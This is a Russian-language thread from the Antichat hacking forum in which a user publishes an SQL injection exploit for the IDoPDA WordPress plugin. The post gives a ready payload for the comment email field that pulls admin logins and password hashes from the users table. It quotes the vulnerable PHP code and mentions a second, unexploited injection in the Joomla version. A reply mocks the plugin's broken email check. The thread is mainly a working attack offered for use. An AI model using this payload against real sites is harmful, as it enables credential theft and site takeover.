Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

01.03.2009, 07:53
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
IDoPDA for WordPress
IDoPDA WordPress
Офф. сайт: http://idopda.ru/
Настройки хранятся в .inc файле: cfg.inc
no comments ..
SQL-INJ
Уязвимый скрипт: index.php
Зависимость: magic_quotes = off
Запрос: Добавляем коментарий ( http://pda.wp.localhost/?comment=1 )
email = a',0,0,0,0,(select concat_ws(0x3a,user_login,user_pass) from ##users limit 0,1),0,0,0,0,0,0) --
Уязвимый кусок кода:
PHP код:
// index.php
if (isset($_POST["addcomment"])) {
fn_AddC($_POST);
unset($_POST);
}
// functions.inc
function fn_AddC($post) {
// Добавление комментария
$add = array();
// Проверка имени
if (isset($post["Name"])) {
if (strlen(trim($post["Name"]))==0) die("c~~~Name");
$post["Name"] = strip_tags($post["Name"]);
}
else die("c~~~Name");
// Проверка электронной почты
// Албанцы отдыхают ..
if (isset($post["Email"])) {
if (strlen(trim($post["Email"]))==0) die("c~~~");
if (preg_match ( "/^[-\w.]+@([A-z0-9][-A-z0-9]+\.)+[A-z]{2,4}$/", $post["Email"])) die("c~~~Email");
}
else die("c~~~Email");
// Проверка текста
// А вот тут я прикола не понял ... уязвимость будет работать, если эту строку поправят ..
// Впрочем если поправят и проверку мыла - то скуля будет в теле коментария.
if (!isset($post["Content"])) {
if (strlen(trim($post["Content"]))==0) die("c~~~Content");
$post["Content"] = strip_tags($post["Content"]);
}
else die("c~~~Content");
// Проврека кода
if (isset($post["Secret"])) {
if ((strlen(trim($post["Secret"]))==0) or ($post["Secret"]!==$_SESSION["key"])) die("c~~~Secret");
}
else die("c~~~Secret");
unset($_SESSION["key"]);
$add["comment_author"] = $post["Name"];
$add["comment_author_email"] = $post["Email"];
$add["comment_content"] = $post["Content"];
$add["comment_author_url"] = $post["Name"];
$add["comment_post_ID"] = (int)$post["Post"];
$add["comment_author_IP"] = $_SERVER["REMOTE_ADDR"];
$add["comment_date"] = date("Y-m-d H:i:s");
$add["comment_date_gmt"] = gmdate("Y-m-d H:i:s");
$sql = "INSERT INTO `##comments` ( `comment_ID` , `comment_post_ID` , `comment_author` , `comment_author_email` , `comment_author_url` , `comment_author_IP` , `comment_date` , `comment_date_gmt` , `comment_content` , `comment_karma` , `comment_approved` , `comment_agent` , `comment_type` , `comment_parent` , `user_id` )
VALUES ('', '".$add["comment_post_ID"]."', '".$add["comment_author"]."', '".$add["comment_author_email"]."', '".$add["comment_author_url"]."', '".$add["comment_author_IP"]."', '".$add["comment_date"]."', '".$add["comment_date_gmt"]."', '".$add["comment_content"]."', '0', '0', '', '', '0', '0');";
$sql = str_replace("##",_PREFIX,$sql);
$result = mysql_query($sql) or die(mysql_error());
header("Location: ?comment=".$post["Post"]);
}
В IDoPDA Joomla так же присутствует скуль, но я раскрутить не смог ..
PHP код:
function getFArticle($id,$link) {
// Функция возвращает полный текст для вывода материала
// id - индекс материала
// link - часть ссылки
// Запрос к бд
$sql = "SELECT co.`title` AS title,concat(co.`introtext`,co.`fulltext`) AS text,ca.`title` AS category,se.`title` AS section,us.`name` AS author
FROM `##content` AS co,`##categories` AS ca,`##sections` AS se,`##users` AS us
WHERE co.`id` = '".$id."'
AND co.`state` = '1'
AND ca.`id` = co.`catid`
AND se.`id` = co.`sectionid`
AND us.`id` = co.`created_by`
ORDER BY co.`created` DESC";
$sql = str_replace("##",_PREFIX,$sql);
Последний раз редактировалось BlackSun; 01.03.2009 в 08:12..
|
|
|

01.03.2009, 15:34
|
|
Reservists Of Antichat - Level 6
Регистрация: 14.11.2007
Сообщений: 177
Провел на форуме: 1246854
Репутация:
622
|
|
PHP код:
if (isset($post["Email"])) {
if (strlen(trim($post["Email"]))==0) die("c~~~");
if (preg_match ( "/^[-\w.]+@([A-z0-9][-A-z0-9]+\.)+[A-z]{2,4}$/", $post["Email"])) die("c~~~Email");
}
else die("c~~~Email");
это ещё и работает ?
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|